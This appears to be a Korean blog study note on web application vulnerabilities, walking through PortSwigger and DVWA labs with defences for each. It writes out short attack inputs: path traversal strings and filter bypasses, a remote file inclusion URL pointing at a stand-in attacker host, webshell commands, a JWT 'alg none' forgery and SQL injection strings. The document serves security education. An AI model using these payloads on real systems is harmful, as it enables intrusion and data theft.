Cloud & Platform
웹 애플리케이션 주요 취약점 분석 및 실습
웹 애플리케이션 주요 취약점 분석 및 실습 학습 내용을 정리한 백필 노트입니다.
이 글은 2025년 학습 기록을 블로그 형식으로 정리한 백필 노트입니다.
1. 정보 노출 취약점 (Information Disclosure)
웹 애플리케이션의 설정 오류나 개발자의 부주의로 인해 민감한 정보가 외부 공격자에게 노출되는 취약점입니다.
1-1. 발생 원인 및 유형
- 안전하지 않은 구성:
robots.txt에 민감한 경로를 명시하거나, 디버깅 기능이 활성화된 상태로 운영 환경에 배포하는 경우. - 소스 코드 및 백업 파일 노출: 소스 코드에 API 키나 DB 자격증명을 하드코딩하거나,
.bak,.old같은 백업 파일 또는.git과 같은 버전 관리 디렉터리가 외부에 노출되는 경우. - 상세한 오류 메시지: 예외 처리 시 상세한 시스템 정보, 프레임워크 버전, DB 테이블 구조 등을 사용자에게 그대로 보여주는 경우.
1-2. 실습 예제 (PortSwigger)
- 오류 메시지를 통한 정보 노출:
- 문제: 제품 ID 파라미터에 예상치 못한 문자열(
a)을 입력하여 의도적으로 오류를 발생시킵니다. - 결과: 서버 오류 메시지를 통해
Apache Struts 2 2.3.31이라는 프레임워크 버전 정보를 획득합니다.
- 문제: 제품 ID 파라미터에 예상치 못한 문자열(
- 디버그 페이지를 통한 정보 노출:
- 문제: Burp Suite의 사이트 맵 기능을 통해 숨겨진
/cgi-bin/phpinfo.php페이지를 발견합니다. - 결과:
phpinfo()함수가 노출하는 상세한 서버 환경 변수에서SECRET_KEY값을 획득합니다.
- 문제: Burp Suite의 사이트 맵 기능을 통해 숨겨진
- 백업 파일을 통한 소스 코드 유출:
- 문제:
/robots.txt파일에 명시된/backup경로에 접근하여 디렉터리 인덱싱으로 백업 파일(ProductTemplate.java.bak)을 발견합니다. - 결과: 백업된 소스 코드에서 하드코딩된 데이터베이스 비밀번호(
noav74306rt6f13zg60fihql7rc8ibnq)를 획득합니다.
- 문제:
- 버전 관리 기록을 통한 정보 노출:
- 문제: 웹 루트에 노출된
.git디렉터리를 다운로드합니다. - 결과:
git log와git diff명령어로 과거 커밋 이력을 분석하여 실수로 커밋되었던 관리자 비밀번호(ADMIN_PASSWORD)를 찾아냅니다.
- 문제: 웹 루트에 노출된
1-3. 보안 대책
- 웹 루트 내에 백업 파일, 소스 코드, 버전 관리 디렉터리(
.git)를 절대 두지 않습니다. - 웹 서버의 디렉터리 인덱싱 기능을 비활성화합니다.
robots.txt에는 민감한 경로를 명시하지 않고, 서버 설정으로 직접 접근을 차단합니다.- 사용자에게는 "오류가 발생했습니다"와 같은 일반적인 오류 메시지만 표시하고, 상세 내용은 내부 로그로만 기록합니다.
- 운영 환경에서는 모든 디버그 기능을 비활성화합니다.
2. 무차별 대입 공격 (Brute Force Attack)
로그인 시도 횟수 제한이 없는 경우, 자동화된 도구를 사용해 모든 가능한 비밀번호 조합을 시도하여 계정을 탈취하는 공격입니다.
2-1. 실습 예제 (DVWA)
- Low Level: 로그인 시도 횟수 제한이 없어 Python 스크립트나 Burp Suite의 Intruder 기능을 이용해
admin계정의 비밀번호(password)를 찾아냅니다. - Medium Level: 로그인 실패 시 2초의 대기 시간이 추가되어 공격 속도가 느려집니다. 이 경우, 모든 조합을 시도하는 대신 사람들이 자주 사용하는 비밀번호 목록(Dictionary)을 대입하는 **사전 공격(Dictionary Attack)**이 더 효율적입니다.
- High Level: 로그인 시도마다 CSRF 토큰이 적용되고 실패 시 랜덤 대기 시간이 추가됩니다. 공격 스크립트는 매 시도마다 로그인 페이지에 먼저 접속해 새로운 CSRF 토큰을 받아온 후, 이를 포함하여 요청을 보내야 합니다.
2-2. 보안 대책
- 계정 잠금 정책: 일정 횟수 이상 로그인 실패 시 계정을 일시적으로 잠급니다.
- 속도 제한 및 IP 차단: 특정 IP에서 비정상적으로 많은 로그인 시도가 발생하면 해당 IP를 차단합니다.
- 2단계 인증 (2FA): 아이디/비밀번호 외에 OTP, 이메일 등 추가 인증 수단을 요구합니다.
- 캡차(CAPTCHA): 자동화된 봇의 공격을 막기 위해 이미지 문자 인식 등을 요구합니다.
3. 인증 및 세션 관리 취약점
쿠키, 세션, JWT(JSON Web Token) 등 사용자의 인증 상태를 관리하는 메커니즘의 결함을 이용한 공격입니다.
3-1. 쿠키 vs 세션 vs JWT
- 쿠키(Cookie): 정보를 클라이언트(브라우저)에 저장. 보안에 취약할 수 있음.
- 세션(Session): 세션 ID만 클라이언트에 저장하고, 주요 정보는 서버에 저장하여 쿠키보다 안전.
- JWT(JSON Web Token): 인증에 필요한 정보를 암호화된 토큰 자체에 담아 서버의 부담을 줄이고 확장성을 높인 기술.
3-2. 실습 예제 (PortSwigger - JWT)
- 서명 미검증 취약점:
- 문제: 서버가 JWT의 서명(Signature) 부분을 검증하지 않는 허점을 이용합니다.
- 공격: JWT의 Payload(내용)에 있는 사용자 ID(
sub)를"wiener"에서"administrator"로 변경하고, Header의 알고리즘(alg)을"none"으로 수정한 뒤, 마지막 서명 부분을 삭제하여 토큰을 위조합니다. - 결과: 위조된 토큰으로 관리자 권한을 획득합니다.
4. 경로 조작 및 파일 포함 취약점
4-1. 경로 조작 (Directory Traversal)
사용자 입력값에 상위 디렉터리로 이동하는 문자열(../)을 삽입하여 허용되지 않은 경로의 파일에 접근하는 취약점입니다.
- 실습 예제 (PortSwigger):
- 기본 공격: 이미지 파일명을 받는 파라미터에
../../../etc/passwd를 입력하여 시스템 파일을 읽습니다. - 절대 경로 우회:
../필터링이 적용된 경우,/etc/passwd와 같이 파일의 전체 경로를 직접 입력하여 우회합니다. - 필터링 우회: 서버가
../를 한 번만 제거할 경우....//와 같이 중첩하여 입력하거나, URL 인코딩을 이중으로 적용(..%252f)하여 필터를 우회합니다.
- 기본 공격: 이미지 파일명을 받는 파라미터에
4-2. 파일 포함 (File Inclusion)
사용자 입력값을 파일 경로로 사용하여 include, require 같은 함수로 파일을 불러올 때 발생하는 취약점입니다.
- LFI (Local File Inclusion): 서버 내부에 있는 파일을 포함. (예:
?page=/etc/passwd) - RFI (Remote File Inclusion): 외부 서버에 있는 악성 스크립트 파일을 포함. (예:
?page=http://attacker.com/shell.php) - 실습 예제 (DVWA):
- Low Level: 필터링이 없어 LFI, RFI 공격이 모두 가능합니다.
- Medium Level:
http://,../등을 필터링하지만hthttp://tp://와 같이 필터링 키워드를 중복 삽입하여 우회할 수 있습니다. - High Level:
file*또는include.php만 허용하는 화이트리스트 방식으로 방어하여 공격이 거의 불가능합니다.
5. 파일 업로드 취약점
악의적인 스크립트 파일(웹쉘 등)을 서버에 업로드하여 원격으로 시스템 명령을 실행하는 심각한 취약점입니다.
5-1. 파일 검증 방식
- 파일 확장자:
.jpg,.png등 파일명 끝의 확장자 검사. - MIME 타입:
Content-Type헤더의 값 검사 (예:image/jpeg). - 파일 시그니처 (매직 넘버): 파일의 실제 내용 시작 부분의 고유한 바이트 값 검사.
5-2. 실습 예제 (DVWA)
- Low Level: 검증이 전혀 없어
webshell.php파일을 직접 업로드하고, 해당 경로로 접근하여?cmd=whoami와 같은 명령을 실행합니다. - Medium Level: MIME 타입만 검사하므로, Burp Suite로 요청을 가로채
Content-Type을image/jpeg로 위조하여 웹쉘을 업로드합니다. - High Level: 확장자와
getimagesize()함수로 실제 이미지 파일인지 내용까지 검사합니다. 이미지 파일의 메타데이터(EXIF)에 PHP 코드를 삽입하는 방식으로 우회할 수 있습니다.
6. SQL 인젝션 (SQL Injection)
사용자 입력값이 검증 없이 SQL 쿼리문에 그대로 포함되어, 공격자가 데이터베이스를 임의로 조작할 수 있게 되는 취약점입니다.
6-1. 발생 원리
사용자 ID를 조회하는 쿼리 SELECT * FROM users WHERE user_id = '$id';에서, 공격자가 ID 입력란에 ' OR '1'='1을 입력하면 WHERE 조건이 항상 참이 되어 모든 사용자 정보가 노출됩니다.
6-2. 실습 예제 (DVWA & Lord of SQL)
- DVWA Low:
' OR '1'='1구문으로 모든 사용자 정보를 조회하거나,UNION구문을 사용해information_schema에서 다른 테이블과 컬럼 정보를 탈취합니다. - Lord of SQL injection: 문제마다
_,.,',"등 특정 문자나 키워드를 필터링하며, 이를 우회하는 다양한 기법을 실습합니다.
6-3. 방어 및 예방 방법
- Prepared Statement (매개변수화된 쿼리): SQL 쿼리문과 사용자 입력값을 분리하여, 입력값이 쿼리 구조에 영향을 주지 못하게 하는 가장 확실한 방법입니다.
- 입력값 검증: 화이트리스트 기반으로 허용된 형식, 길이, 범위의 값만 처리합니다.
- 데이터베이스 계정 권한 최소화: 웹 애플리케이션이 사용하는 DB 계정에 꼭 필요한 권한만 부여합니다.
- 오류 메시지 최소화: 상세한 DB 오류 메시지를 사용자에게 노출하지 않습니다.